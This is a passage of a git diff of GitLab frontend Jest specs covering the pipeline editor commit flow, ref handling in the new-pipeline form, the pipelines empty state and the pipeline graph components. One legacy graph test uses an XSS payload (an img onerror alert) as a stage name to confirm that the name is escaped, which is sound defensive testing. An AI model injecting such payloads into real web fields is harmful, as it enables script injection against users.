+
+ describe('when the user commits changes to the current branch', () => {
+ beforeEach(async () => {
+ await submitCommit();
+ });
+
+ it('calls the mutation with the default branch', () => {
+ expect(mockMutate).toHaveBeenCalledWith({
+ mutation: expect.any(Object),
+ variables: {
+ ...mockVariables,
+ branch: mockDefaultBranch,
+ },
+ });
+ });
+
+ it('refreshes the page', () => {
+ expect(refreshCurrentPage).toHaveBeenCalled();
+ });
+
+ it('shows no saving state', () => {
+ expect(findCommitBtnLoadingIcon().exists()).toBe(false);
+ });
+ });
+
+ describe('when the user commits changes to a new branch', () => {
+ const newBranch = 'new-branch';
+
+ beforeEach(async () => {
+ await submitCommit({
+ branch: newBranch,
+ });
+ });
+
+ it('calls the mutation with the new branch', () => {
+ expect(mockMutate).toHaveBeenCalledWith({
+ mutation: expect.any(Object),
+ variables: {
+ ...mockVariables,
+ branch: newBranch,
+ },
+ });
+ });
+
+ it('refreshes the page', () => {
+ expect(refreshCurrentPage).toHaveBeenCalledWith();
+ });
+ });
+
+ describe('when the user commits changes to open a new merge request', () => {
+ const newBranch = 'new-branch';
+
+ beforeEach(async () => {
+ await submitCommit({
+ branch: newBranch,
+ openMergeRequest: true,
+ });
+ });
+
+ it('redirects to the merge request page with source and target branches', () => {
+ const branchesQuery = objectToQuery({
+ 'merge_request[source_branch]': newBranch,
+ 'merge_request[target_branch]': mockDefaultBranch,
+ });
+
+ expect(redirectTo).toHaveBeenCalledWith(`${mockNewMergeRequestPath}?${branchesQuery}`);
+ });
+ });
+
+ describe('when the commit is ocurring', () => {
+ it('shows a saving state', async () => {
+ await mockMutate.mockImplementationOnce(() => {
+ expect(findCommitBtnLoadingIcon().exists()).toBe(true);
+ return Promise.resolve();
+ });
+
+ await submitCommit({
+ message: mockCommitMessage,
+ branch: mockDefaultBranch,
+ openMergeRequest: false,
+ });
+ });
+ });
+
+ describe('when the commit fails', () => {
+ it('shows a the error message', async () => {
+ mockMutate.mockRejectedValueOnce(new Error('commit failed'));
- it('shows a generic error', () => {
- const error = new MockError('An error message');
- createComponent({ data: { error } });
+ await submitCommit();
- expect(findAlert().text()).toBe('CI file could not be loaded: An error message');
+ await waitForPromises();
+
+ expect(findAlert().text()).toMatchInterpolatedText(
+ 'The GitLab CI configuration could not be updated. commit failed',
+ );
+ });
+
+ it('shows an unkown error', async () => {
+ mockMutate.mockRejectedValueOnce();
+
+ await submitCommit();
+
+ await waitForPromises();
+
+ expect(findAlert().text()).toMatchInterpolatedText(
+ 'The GitLab CI configuration could not be updated.',
+ );
+ });
+ });
+
+ describe('when the commit form is cancelled', () => {
+ const otherContent = 'other content';
+
+ beforeEach(async () => {
+ findTextEditor().vm.$emit('input', otherContent);
+ await nextTick();
+ });
+
+ it('content is restored after cancel is called', async () => {
+ await cancelCommitForm();
+
+ expect(findTextEditor().attributes('value')).toBe(mockCiYml);
+ });
+ });
+ });
+ });
+
+ describe('displays fetch content errors', () => {
+ it('no error is shown when data is set', async () => {
+ mockBlobContentData.mockResolvedValue(mockCiYml);
+ createComponentWithApollo();
+
+ await waitForPromises();
+
+ expect(findBlobFailureAlert().exists()).toBe(false);
+ expect(findTextEditor().attributes('value')).toBe(mockCiYml);
});
- it('shows a ref missing error state', () => {
- const error = new MockError('Ref missing!', {
- error: 'ref is missing, ref is empty',
+ it('shows a 404 error message', async () => {
+ mockBlobContentData.mockRejectedValueOnce({
+ response: {
+ status: 404,
+ },
});
- createComponent({ data: { error } });
+ createComponentWithApollo();
+
+ await waitForPromises();
- expect(findAlert().text()).toMatch(
- 'CI file could not be loaded: ref is missing, ref is empty',
+ expect(findBlobFailureAlert().text()).toBe(
+ 'No CI file found in this repository, please add one.',
);
});
- it('shows a file missing error state', async () => {
- const error = new MockError('File missing!', {
- message: 'file not found',
+ it('shows a 400 error message', async () => {
+ mockBlobContentData.mockRejectedValueOnce({
+ response: {
+ status: 400,
+ },
});
+ createComponentWithApollo();
+
+ await waitForPromises();
+
+ expect(findBlobFailureAlert().text()).toBe(
+ 'Repository does not have a default branch, please set one.',
+ );
+ });
- await wrapper.setData({ error });
+ it('shows a unkown error message', async () => {
+ mockBlobContentData.mockRejectedValueOnce(new Error('My error!'));
+ createComponentWithApollo();
+ await waitForPromises();
- expect(findAlert().text()).toMatch('CI file could not be loaded: file not found');
+ expect(findBlobFailureAlert().text()).toBe(
+ 'The CI configuration was not loaded, please try again.',
+ );
});
});
});
diff --git a/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js b/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js
index 197f646a22e..b42339f626e 100644
--- a/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js
+++ b/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js
@@ -5,7 +5,14 @@ import waitForPromises from 'helpers/wait_for_promises';
import httpStatusCodes from '~/lib/utils/http_status';
import axios from '~/lib/utils/axios_utils';
import PipelineNewForm from '~/pipeline_new/components/pipeline_new_form.vue';
-import { mockRefs, mockParams, mockPostParams, mockProjectId, mockError } from '../mock_data';
+import {
+ mockBranches,
+ mockTags,
+ mockParams,
+ mockPostParams,
+ mockProjectId,
+ mockError,
+} from '../mock_data';
import { redirectTo } from '~/lib/utils/url_utility';
jest.mock('~/lib/utils/url_utility', () => ({
@@ -37,6 +44,10 @@ describe('Pipeline New Form', () => {
const findWarnings = () => wrapper.findAll('[data-testid="run-pipeline-warning"]');
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
const getExpectedPostParams = () => JSON.parse(mock.history.post[0].data);
+ const changeRef = i =>
+ findDropdownItems()
+ .at(i)
+ .vm.$emit('click');
const createComponent = (term = '', props = {}, method = shallowMount) => {
wrapper = method(PipelineNewForm, {
@@ -44,7 +55,8 @@ describe('Pipeline New Form', () => {
projectId: mockProjectId,
pipelinesPath,
configVariablesPath,
- refs: mockRefs,
+ branches: mockBranches,
+ tags: mockTags,
defaultBranch: 'master',
settingsLink: '',
maxWarnings: 25,
@@ -76,8 +88,11 @@ describe('Pipeline New Form', () => {
});
it('displays dropdown with all branches and tags', () => {
+ const refLength = mockBranches.length + mockTags.length;
+
createComponent();
- expect(findDropdownItems()).toHaveLength(mockRefs.length);
+
+ expect(findDropdownItems()).toHaveLength(refLength);
});
it('when user enters search term the list is filtered', () => {
@@ -130,15 +145,6 @@ describe('Pipeline New Form', () => {
expect(findVariableRows()).toHaveLength(2);
});
- it('creates a pipeline on submit', async () => {
- findForm().vm.$emit('submit', dummySubmitEvent);
-
- await waitForPromises();
-
- expect(getExpectedPostParams()).toEqual(mockPostParams);
- expect(redirectTo).toHaveBeenCalledWith(`${pipelinesPath}/${postResponse.id}`);
- });
-
it('creates blank variable on input change event', async () => {
const input = findKeyInputs().at(2);
input.element.value = 'test_var_2';
@@ -150,45 +156,81 @@ describe('Pipeline New Form', () => {
expect(findKeyInputs().at(3).element.value).toBe('');
expect(findValueInputs().at(3).element.value).toBe('');
});
+ });
- describe('when the form has been modified', () => {
- const selectRef = i =>
- findDropdownItems()
- .at(i)
- .vm.$emit('click');
+ describe('Pipeline creation', () => {
+ beforeEach(async () => {
+ mock.onPost(pipelinesPath).reply(httpStatusCodes.OK, postResponse);
- beforeEach(async () => {
- const input = findKeyInputs().at(0);
- input.element.value = 'test_var_2';
- input.trigger('change');
+ await waitForPromises();
+ });
+ it('creates pipeline with full ref and variables', async () => {
+ createComponent();
- findRemoveIcons()
- .at(1)
- .trigger('click');
+ changeRef(0);
- await wrapper.vm.$nextTick();
- });
+ findForm().vm.$emit('submit', dummySubmitEvent);
- it('form values are restored when the ref changes', async () => {
- expect(findVariableRows()).toHaveLength(2);
+ await waitForPromises();
- selectRef(1);
- await waitForPromises();
+ expect(getExpectedPostParams().ref).toEqual(wrapper.vm.$data.refValue.fullName);
+ expect(redirectTo).toHaveBeenCalledWith(`${pipelinesPath}/${postResponse.id}`);
+ });
+ it('creates a pipeline with short ref and variables', async () => {
+ // query params are used
+ createComponent('', mockParams);
- expect(findVariableRows()).toHaveLength(3);
- expect(findKeyInputs().at(0).element.value).toBe('test_var');
- });
+ await waitForPromises();
- it('form values are restored again when the ref is reverted', async () => {
- selectRef(1);
- await waitForPromises();
+ findForm().vm.$emit('submit', dummySubmitEvent);
- selectRef(2);
- await waitForPromises();
+ await waitForPromises();
- expect(findVariableRows()).toHaveLength(2);
- expect(findKeyInputs().at(0).element.value).toBe('test_var_2');
- });
+ expect(getExpectedPostParams()).toEqual(mockPostParams);
+ expect(redirectTo).toHaveBeenCalledWith(`${pipelinesPath}/${postResponse.id}`);
+ });
+ });
+
+ describe('When the ref has been changed', () => {
+ beforeEach(async () => {
+ createComponent('', {}, mount);
+
+ await waitForPromises();
+ });
+ it('variables persist between ref changes', async () => {
+ changeRef(0); // change to master
+
+ await waitForPromises();
+
+ const masterInput = findKeyInputs().at(0);
+ masterInput.element.value = 'build_var';
+ masterInput.trigger('change');
+
+ await wrapper.vm.$nextTick();
+
+ changeRef(1); // change to branch-1
+
+ await waitForPromises();
+
+ const branchOneInput = findKeyInputs().at(0);
+ branchOneInput.element.value = 'deploy_var';
+ branchOneInput.trigger('change');
+
+ await wrapper.vm.$nextTick();
+
+ changeRef(0); // change back to master
+
+ await waitForPromises();
+
+ expect(findKeyInputs().at(0).element.value).toBe('build_var');
+ expect(findVariableRows().length).toBe(2);
+
+ changeRef(1); // change back to branch-1
+
+ await waitForPromises();
+
+ expect(findKeyInputs().at(0).element.value).toBe('deploy_var');
+ expect(findVariableRows().length).toBe(2);
});
});
@@ -321,6 +363,7 @@ describe('Pipeline New Form', () => {
it('shows the correct warning title', () => {
const { length } = mockError.warnings;
+
expect(findWarningAlertSummary().attributes('message')).toBe(`${length} warnings found:`);
});
diff --git a/spec/frontend/pipeline_new/mock_data.js b/spec/frontend/pipeline_new/mock_data.js
index cdbd6d4437e..feb24ec602d 100644
--- a/spec/frontend/pipeline_new/mock_data.js
+++ b/spec/frontend/pipeline_new/mock_data.js
@@ -1,4 +1,14 @@
-export const mockRefs = ['master', 'branch-1', 'tag-1'];
+export const mockBranches = [
+ { shortName: 'master', fullName: 'refs/heads/master' },
+ { shortName: 'branch-1', fullName: 'refs/heads/branch-1' },
+ { shortName: 'branch-2', fullName: 'refs/heads/branch-2' },
+];
+
+export const mockTags = [
+ { shortName: '1.0.0', fullName: 'refs/tags/1.0.0' },
+ { shortName: '1.1.0', fullName: 'refs/tags/1.1.0' },
+ { shortName: '1.2.0', fullName: 'refs/tags/1.2.0' },
+];
export const mockParams = {
refParam: 'tag-1',
@@ -31,3 +41,7 @@ export const mockError = {
],
total_warnings: 7,
};
+
+export const mockBranchRefs = ['master', 'dev', 'release'];
+
+export const mockTagRefs = ['1.0.0', '1.1.0', '1.2.0'];
diff --git a/spec/frontend/pipeline_new/utils/format_refs_spec.js b/spec/frontend/pipeline_new/utils/format_refs_spec.js
new file mode 100644
index 00000000000..1fda6a8af83
--- /dev/null
+++ b/spec/frontend/pipeline_new/utils/format_refs_spec.js
@@ -0,0 +1,21 @@
+import formatRefs from '~/pipeline_new/utils/format_refs';
+import { BRANCH_REF_TYPE, TAG_REF_TYPE } from '~/pipeline_new/constants';
+import { mockBranchRefs, mockTagRefs } from '../mock_data';
+
+describe('Format refs util', () => {
+ it('formats branch ref correctly', () => {
+ expect(formatRefs(mockBranchRefs, BRANCH_REF_TYPE)).toEqual([
+ { fullName: 'refs/heads/master', shortName: 'master' },
+ { fullName: 'refs/heads/dev', shortName: 'dev' },
+ { fullName: 'refs/heads/release', shortName: 'release' },
+ ]);
+ });
+
+ it('formats tag ref correctly', () => {
+ expect(formatRefs(mockTagRefs, TAG_REF_TYPE)).toEqual([
+ { fullName: 'refs/tags/1.0.0', shortName: '1.0.0' },
+ { fullName: 'refs/tags/1.1.0', shortName: '1.1.0' },
+ { fullName: 'refs/tags/1.2.0', shortName: '1.2.0' },
+ ]);
+ });
+});
diff --git a/spec/frontend/pipelines/empty_state_spec.js b/spec/frontend/pipelines/empty_state_spec.js
index 79356664834..28a73c8863c 100644
--- a/spec/frontend/pipelines/empty_state_spec.js
+++ b/spec/frontend/pipelines/empty_state_spec.js
@@ -1,58 +1,52 @@
-import Vue from 'vue';
-import emptyStateComp from '~/pipelines/components/pipelines_list/empty_state.vue';
-import mountComponent from '../helpers/vue_mount_component_helper';
+import { shallowMount } from '@vue/test-utils';
+import EmptyState from '~/pipelines/components/pipelines_list/empty_state.vue';
describe('Pipelines Empty State', () => {
- let component;
- let EmptyStateComponent;
+ let wrapper;
+
+ const findGetStartedButton = () => wrapper.find('[data-testid="get-started-pipelines"]');
+ const findInfoText = () => wrapper.find('[data-testid="info-text"]').text();
+ const createWrapper = () => {
+ wrapper = shallowMount(EmptyState, {
+ propsData: {
+ helpPagePath: 'foo',
+ emptyStateSvgPath: 'foo',
+ canSetCi: true,
+ },
+ });
+ };
- beforeEach(() => {
- EmptyStateComponent = Vue.extend(emptyStateComp);
+ describe('renders', () => {
+ beforeEach(() => {
+ createWrapper();
+ });
- component = mountComponent(EmptyStateComponent, {
- helpPagePath: 'foo',
- emptyStateSvgPath: 'foo',
- canSetCi: true,
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
});
- });
- afterEach(() => {
- component.$destroy();
- });
+ it('should render empty state SVG', () => {
+ expect(wrapper.find('img').attributes('src')).toBe('foo');
+ });
- it('should render empty state SVG', () => {
- expect(component.$el.querySelector('.svg-content svg')).toBeDefined();
- });
+ it('should render empty state header', () => {
+ expect(wrapper.find('[data-testid="header-text"]').text()).toBe('Build with confidence');
+ });
- it('should render empty state information', () => {
- expect(component.$el.querySelector('h4').textContent).toContain('Build with confidence');
-
- expect(
- component.$el
- .querySelector('p')
- .innerHTML.trim()
- .replace(/\n+\s+/m, ' ')
- .replace(/\s\s+/g, ' '),
- ).toContain('Continuous Integration can help catch bugs by running your tests automatically,');
-
- expect(
- component.$el
- .querySelector('p')
- .innerHTML.trim()
- .replace(/\n+\s+/m, ' ')
- .replace(/\s\s+/g, ' '),
- ).toContain(
- 'while Continuous Deployment can help you deliver code to your product environment',
- );
- });
+ it('should render a link with provided help path', () => {
+ expect(findGetStartedButton().attributes('href')).toBe('foo');
+ });
- it('should render a link with provided help path', () => {
- expect(component.$el.querySelector('.js-get-started-pipelines').getAttribute('href')).toEqual(
- 'foo',
- );
+ it('should render empty state information', () => {
+ expect(findInfoText()).toContain(
+ 'Continuous Integration can help catch bugs by running your tests automatically',
+ 'while Continuous Deployment can help you deliver code to your product environment',
+ );
+ });
- expect(component.$el.querySelector('.js-get-started-pipelines').textContent).toContain(
- 'Get started with Pipelines',
- );
+ it('should render a button', () => {
+ expect(findGetStartedButton().text()).toBe('Get started with Pipelines');
+ });
});
});
diff --git a/spec/frontend/pipelines/graph/graph_component_legacy_spec.js b/spec/frontend/pipelines/graph/graph_component_legacy_spec.js
new file mode 100644
index 00000000000..3b1909b6564
--- /dev/null
+++ b/spec/frontend/pipelines/graph/graph_component_legacy_spec.js
@@ -0,0 +1,306 @@
+import Vue from 'vue';
+import { mount } from '@vue/test-utils';
+import { GlLoadingIcon } from '@gitlab/ui';
+import { setHTMLFixture } from 'helpers/fixtures';
+import PipelineStore from '~/pipelines/stores/pipeline_store';
+import GraphComponentLegacy from '~/pipelines/components/graph/graph_component_legacy.vue';
+import StageColumnComponentLegacy from '~/pipelines/components/graph/stage_column_component_legacy.vue';
+import LinkedPipelinesColumnLegacy from '~/pipelines/components/graph/linked_pipelines_column_legacy.vue';
+import graphJSON from './mock_data_legacy';
+import linkedPipelineJSON from './linked_pipelines_mock_data';
+import PipelinesMediator from '~/pipelines/pipeline_details_mediator';
+
+describe('graph component', () => {
+ let store;
+ let mediator;
+ let wrapper;
+
+ const findExpandPipelineBtn = () => wrapper.find('[data-testid="expand-pipeline-button"]');
+ const findAllExpandPipelineBtns = () => wrapper.findAll('[data-testid="expand-pipeline-button"]');
+ const findStageColumns = () => wrapper.findAll(StageColumnComponentLegacy);
+ const findStageColumnAt = i => findStageColumns().at(i);
+
+ beforeEach(() => {
+ mediator = new PipelinesMediator({ endpoint: '' });
+ store = new PipelineStore();
+ store.storePipeline(linkedPipelineJSON);
+
+ setHTMLFixture('<div class="layout-page"></div>');
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('while is loading', () => {
+ it('should render a loading icon', () => {
+ wrapper = mount(GraphComponentLegacy, {
+ propsData: {
+ isLoading: true,
+ pipeline: {},
+ mediator,
+ },
+ });
+
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
+ });
+ });
+
+ describe('with data', () => {
+ beforeEach(() => {
+ wrapper = mount(GraphComponentLegacy, {
+ propsData: {
+ isLoading: false,
+ pipeline: graphJSON,
+ mediator,
+ },
+ });
+ });
+
+ it('renders the graph', () => {
+ expect(wrapper.find('.js-pipeline-graph').exists()).toBe(true);
+ expect(wrapper.find('.loading-icon').exists()).toBe(false);
+ expect(wrapper.find('.stage-column-list').exists()).toBe(true);
+ });
+
+ it('renders columns in the graph', () => {
+ expect(findStageColumns()).toHaveLength(graphJSON.details.stages.length);
+ });
+ });
+
+ describe('when linked pipelines are present', () => {
+ beforeEach(() => {
+ wrapper = mount(GraphComponentLegacy, {
+ propsData: {
+ isLoading: false,
+ pipeline: store.state.pipeline,
+ mediator,
+ },
+ });
+ });
+
+ describe('rendered output', () => {
+ it('should include the pipelines graph', () => {
+ expect(wrapper.find('.js-pipeline-graph').exists()).toBe(true);
+ });
+
+ it('should not include the loading icon', () => {
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
+ });
+
+ it('should include the stage column', () => {
+ expect(findStageColumnAt(0).exists()).toBe(true);
+ });
+
+ it('stage column should have no-margin, gl-mr-26, has-only-one-job classes if there is only one job', () => {
+ expect(findStageColumnAt(0).classes()).toEqual(
+ expect.arrayContaining(['no-margin', 'gl-mr-26', 'has-only-one-job']),
+ );
+ });
+
+ it('should include the left-margin class on the second child', () => {
+ expect(findStageColumnAt(1).classes('left-margin')).toBe(true);
+ });
+
+ it('should include the left-connector class in the build of the second child', () => {
+ expect(
+ findStageColumnAt(1)
+ .find('.build:nth-child(1)')
+ .classes('left-connector'),
+ ).toBe(true);
+ });
+
+ it('should include the js-has-linked-pipelines flag', () => {
+ expect(wrapper.find('.js-has-linked-pipelines').exists()).toBe(true);
+ });
+ });
+
+ describe('computeds and methods', () => {
+ describe('capitalizeStageName', () => {
+ it('it capitalizes the stage name', () => {
+ expect(
+ wrapper
+ .findAll('.stage-column .stage-name')
+ .at(1)
+ .text(),
+ ).toBe('Prebuild');
+ });
+ });
+
+ describe('stageConnectorClass', () => {
+ it('it returns left-margin when there is a triggerer', () => {
+ expect(findStageColumnAt(1).classes('left-margin')).toBe(true);
+ });
+ });
+ });
+
+ describe('linked pipelines components', () => {
+ beforeEach(() => {
+ wrapper = mount(GraphComponentLegacy, {
+ propsData: {
+ isLoading: false,
+ pipeline: store.state.pipeline,
+ mediator,
+ },
+ });
+ });
+
+ it('should render an upstream pipelines column at first position', () => {
+ expect(wrapper.find(LinkedPipelinesColumnLegacy).exists()).toBe(true);
+ expect(wrapper.find('.stage-column .stage-name').text()).toBe('Upstream');
+ });
+
+ it('should render a downstream pipelines column at last position', () => {
+ const stageColumnNames = wrapper.findAll('.stage-column .stage-name');
+
+ expect(wrapper.find(LinkedPipelinesColumnLegacy).exists()).toBe(true);
+ expect(stageColumnNames.at(stageColumnNames.length - 1).text()).toBe('Downstream');
+ });
+
+ describe('triggered by', () => {
+ describe('on click', () => {
+ it('should emit `onClickUpstreamPipeline` when triggered by linked pipeline is clicked', () => {
+ const btnWrapper = findExpandPipelineBtn();
+
+ btnWrapper.trigger('click');
+
+ btnWrapper.vm.$nextTick(() => {
+ expect(wrapper.emitted().onClickUpstreamPipeline).toEqual([
+ store.state.pipeline.triggered_by,
+ ]);
+ });
+ });
+ });
+
+ describe('with expanded pipeline', () => {
+ it('should render expanded pipeline', done => {
+ // expand the pipeline
+ store.state.pipeline.triggered_by[0].isExpanded = true;
+
+ wrapper = mount(GraphComponentLegacy, {
+ propsData: {
+ isLoading: false,
+ pipeline: store.state.pipeline,
+ mediator,
+ },
+ });
+
+ Vue.nextTick()
+ .then(() => {
+ expect(wrapper.find('.js-upstream-pipeline-12').exists()).toBe(true);
+ })
+ .then(done)
+ .catch(done.fail);
+ });
+ });
+ });
+
+ describe('triggered', () => {
+ describe('on click', () => {
+ it('should emit `onClickTriggered`', () => {
+ // We have to mock this method since we do both style change and
+ // emit and event, not mocking returns an error.
+ wrapper.setMethods({
+ handleClickedDownstream: jest.fn(() =>
+ wrapper.vm.$emit('onClickTriggered', ...store.state.pipeline.triggered),
+ ),
+ });
+
+ const btnWrappers = findAllExpandPipelineBtns();
+ const downstreamBtnWrapper = btnWrappers.at(btnWrappers.length - 1);
+
+ downstreamBtnWrapper.trigger('click');
+
+ downstreamBtnWrapper.vm.$nextTick(() => {
+ expect(wrapper.emitted().onClickTriggered).toEqual([store.state.pipeline.triggered]);
+ });
+ });
+ });
+
+ describe('with expanded pipeline', () => {
+ it('should render expanded pipeline', done => {
+ // expand the pipeline
+ store.state.pipeline.triggered[0].isExpanded = true;
+
+ wrapper = mount(GraphComponentLegacy, {
+ propsData: {
+ isLoading: false,
+ pipeline: store.state.pipeline,
+ mediator,
+ },
+ });
+
+ Vue.nextTick()
+ .then(() => {
+ expect(wrapper.find('.js-downstream-pipeline-34993051')).not.toBeNull();
+ })
+ .then(done)
+ .catch(done.fail);
+ });
+ });
+
+ describe('when column requests a refresh', () => {
+ beforeEach(() => {
+ findStageColumnAt(0).vm.$emit('refreshPipelineGraph');
+ });
+
+ it('refreshPipelineGraph is emitted', () => {
+ expect(wrapper.emitted().refreshPipelineGraph).toHaveLength(1);
+ });
+ });
+ });
+ });
+ });
+
+ describe('when linked pipelines are not present', () => {
+ beforeEach(() => {
+ const pipeline = Object.assign(linkedPipelineJSON, { triggered: null, triggered_by: null });
+ wrapper = mount(GraphComponentLegacy, {
+ propsData: {
+ isLoading: false,
+ pipeline,
+ mediator,
+ },
+ });
+ });
+
+ describe('rendered output', () => {
+ it('should include the first column with a no margin', () => {
+ const firstColumn = wrapper.find('.stage-column');
+
+ expect(firstColumn.classes('no-margin')).toBe(true);
+ });
+
+ it('should not render a linked pipelines column', () => {
+ expect(wrapper.find('.linked-pipelines-column').exists()).toBe(false);
+ });
+ });
+
+ describe('stageConnectorClass', () => {
+ it('it returns no-margin when no triggerer and there is one job', () => {
+ expect(findStageColumnAt(0).classes('no-margin')).toBe(true);
+ });
+
+ it('it returns left-margin when no triggerer and not the first stage', () => {
+ expect(findStageColumnAt(1).classes('left-margin')).toBe(true);
+ });
+ });
+ });
+
+ describe('capitalizeStageName', () => {
+ it('capitalizes and escapes stage name', () => {
+ wrapper = mount(GraphComponentLegacy, {
+ propsData: {
+ isLoading: false,
+ pipeline: graphJSON,
+ mediator,
+ },
+ });
+
+ expect(findStageColumnAt(1).props('title')).toEqual(
+ 'Deploy &lt;img src=x onerror=alert(document.domain)&gt;',
+ );
+ });
+ });
+});
diff --git a/spec/frontend/pipelines/graph/graph_component_spec.js b/spec/frontend/pipelines/graph/graph_component_spec.js
index 5a17be1af23..7572dd83798 100644
--- a/spec/frontend/pipelines/graph/graph_component_spec.js
+++ b/spec/frontend/pipelines/graph/graph_component_spec.js
@@ -1,305 +1,83 @@
-import Vue from 'vue';
-import { mount } from '@vue/test-utils';
-import { setHTMLFixture } from 'helpers/fixtures';
-import PipelineStore from '~/pipelines/stores/pipeline_store';
-import graphComponent from '~/pipelines/components/graph/graph_component.vue';
+import { mount, shallowMount } from '@vue/test-utils';
+import PipelineGraph from '~/pipelines/components/graph/graph_component.vue';
import StageColumnComponent from '~/pipelines/components/graph/stage_column_component.vue';
-import linkedPipelinesColumn from '~/pipelines/components/graph/linked_pipelines_column.vue';
-import graphJSON from './mock_data';
-import linkedPipelineJSON from './linked_pipelines_mock_data';
-import PipelinesMediator from '~/pipelines/pipeline_details_mediator';
+import LinkedPipelinesColumn from '~/pipelines/components/graph/linked_pipelines_column.vue';
+import { GRAPHQL } from '~/pipelines/components/graph/constants';
+import {
+ generateResponse,
+ mockPipelineResponse,
+ pipelineWithUpstreamDownstream,
+} from './mock_data';
describe('graph component', () => {
- let store;
- let mediator;
let wrapper;
- const findExpandPipelineBtn = () => wrapper.find('[data-testid="expandPipelineButton"]');
- const findAllExpandPipelineBtns = () => wrapper.findAll('[data-testid="expandPipelineButton"]');
+ const findLinkedColumns = () => wrapper.findAll(LinkedPipelinesColumn);
const findStageColumns = () => wrapper.findAll(StageColumnComponent);
- const findStageColumnAt = i => findStageColumns().at(i);
- beforeEach(() => {
- mediator = new PipelinesMediator({ endpoint: '' });
- store = new PipelineStore();
- store.storePipeline(linkedPipelineJSON);
-
- setHTMLFixture('<div class="layout-page"></div>');
- });
+ const defaultProps = {
+ pipeline: generateResponse(mockPipelineResponse, 'root/fungi-xoxo'),
+ };
+
+ const createComponent = ({ mountFn = shallowMount, props = {} } = {}) => {
+ wrapper = mountFn(PipelineGraph, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ provide: {
+ dataMethod: GRAPHQL,
+ },
+ });
+ };
afterEach(() => {
wrapper.destroy();
wrapper = null;
});
- describe('while is loading', () => {
- it('should render a loading icon', () => {
- wrapper = mount(graphComponent, {
- propsData: {
- isLoading: true,
- pipeline: {},
- mediator,
- },
- });
-
- expect(wrapper.find('.gl-spinner').exists()).toBe(true);
- });
- });
-
describe('with data', () => {
beforeEach(() => {
- wrapper = mount(graphComponent, {
- propsData: {
- isLoading: false,
- pipeline: graphJSON,
- mediator,
- },
- });
+ createComponent({ mountFn: mount });
});
- it('renders the graph', () => {
- expect(wrapper.find('.js-pipeline-graph').exists()).toBe(true);
- expect(wrapper.find('.loading-icon').exists()).toBe(false);
- expect(wrapper.find('.stage-column-list').exists()).toBe(true);
- });
-
- it('renders columns in the graph', () => {
- expect(findStageColumns()).toHaveLength(graphJSON.details.stages.length);
- });
- });
-
- describe('when linked pipelines are present', () => {
- beforeEach(() => {
- wrapper = mount(graphComponent, {
- propsData: {
- isLoading: false,
- pipeline: store.state.pipeline,
- mediator,
- },
- });
- });
-
- describe('rendered output', () => {
- it('should include the pipelines graph', () => {
- expect(wrapper.find('.js-pipeline-graph').exists()).toBe(true);
- });
-
- it('should not include the loading icon', () => {
- expect(wrapper.find('.fa-spinner').exists()).toBe(false);
- });
-
- it('should include the stage column', () => {
- expect(findStageColumnAt(0).exists()).toBe(true);
- });
-
- it('stage column should have no-margin, gl-mr-26, has-only-one-job classes if there is only one job', () => {
- expect(findStageColumnAt(0).classes()).toEqual(
- expect.arrayContaining(['no-margin', 'gl-mr-26', 'has-only-one-job']),
- );
- });
-
- it('should include the left-margin class on the second child', () => {
- expect(findStageColumnAt(1).classes('left-margin')).toBe(true);
- });
-
- it('should include the left-connector class in the build of the second child', () => {
- expect(
- findStageColumnAt(1)
- .find('.build:nth-child(1)')
- .classes('left-connector'),
- ).toBe(true);
- });
-
- it('should include the js-has-linked-pipelines flag', () => {
- expect(wrapper.find('.js-has-linked-pipelines').exists()).toBe(true);
- });
- });
-
- describe('computeds and methods', () => {
- describe('capitalizeStageName', () => {
- it('it capitalizes the stage name', () => {
- expect(
- wrapper
- .findAll('.stage-column .stage-name')
- .at(1)
- .text(),
- ).toBe('Prebuild');
- });
- });
-
- describe('stageConnectorClass', () => {
- it('it returns left-margin when there is a triggerer', () => {
- expect(findStageColumnAt(1).classes('left-margin')).toBe(true);
- });
- });
+ it('renders the main columns in the graph', () => {
+ expect(findStageColumns()).toHaveLength(defaultProps.pipeline.stages.length);
});
- describe('linked pipelines components', () => {
+ describe('when column requests a refresh', () => {
beforeEach(() => {
- wrapper = mount(graphComponent, {
- propsData: {
- isLoading: false,
- pipeline: store.state.pipeline,
- mediator,
- },
- });
+ findStageColumns()
+ .at(0)
+ .vm.$emit('refreshPipelineGraph');
});
- it('should render an upstream pipelines column at first position', () => {
- expect(wrapper.find(linkedPipelinesColumn).exists()).toBe(true);
- expect(wrapper.find('.stage-column .stage-name').text()).toBe('Upstream');
- });
-
- it('should render a downstream pipelines column at last position', () => {
- const stageColumnNames = wrapper.findAll('.stage-column .stage-name');
-
- expect(wrapper.find(linkedPipelinesColumn).exists()).toBe(true);
- expect(stageColumnNames.at(stageColumnNames.length - 1).text()).toBe('Downstream');
- });
-
- describe('triggered by', () => {
- describe('on click', () => {
- it('should emit `onClickUpstreamPipeline` when triggered by linked pipeline is clicked', () => {
- const btnWrapper = findExpandPipelineBtn();
-
- btnWrapper.trigger('click');
-
- btnWrapper.vm.$nextTick(() => {
- expect(wrapper.emitted().onClickUpstreamPipeline).toEqual([
- store.state.pipeline.triggered_by,
- ]);
- });
- });
- });
-
- describe('with expanded pipeline', () => {
- it('should render expanded pipeline', done => {
- // expand the pipeline
- store.state.pipeline.triggered_by[0].isExpanded = true;
-
- wrapper = mount(graphComponent, {
- propsData: {
- isLoading: false,
- pipeline: store.state.pipeline,
- mediator,
- },
- });
-
- Vue.nextTick()
- .then(() => {
- expect(wrapper.find('.js-upstream-pipeline-12').exists()).toBe(true);
- })
- .then(done)
- .catch(done.fail);
- });
- });
- });
-
- describe('triggered', () => {
- describe('on click', () => {
- it('should emit `onClickTriggered`', () => {
- // We have to mock this method since we do both style change and
- // emit and event, not mocking returns an error.
- wrapper.setMethods({
- handleClickedDownstream: jest.fn(() =>
- wrapper.vm.$emit('onClickTriggered', ...store.state.pipeline.triggered),
- ),
- });
-
- const btnWrappers = findAllExpandPipelineBtns();
- const downstreamBtnWrapper = btnWrappers.at(btnWrappers.length - 1);
-
- downstreamBtnWrapper.trigger('click');
-
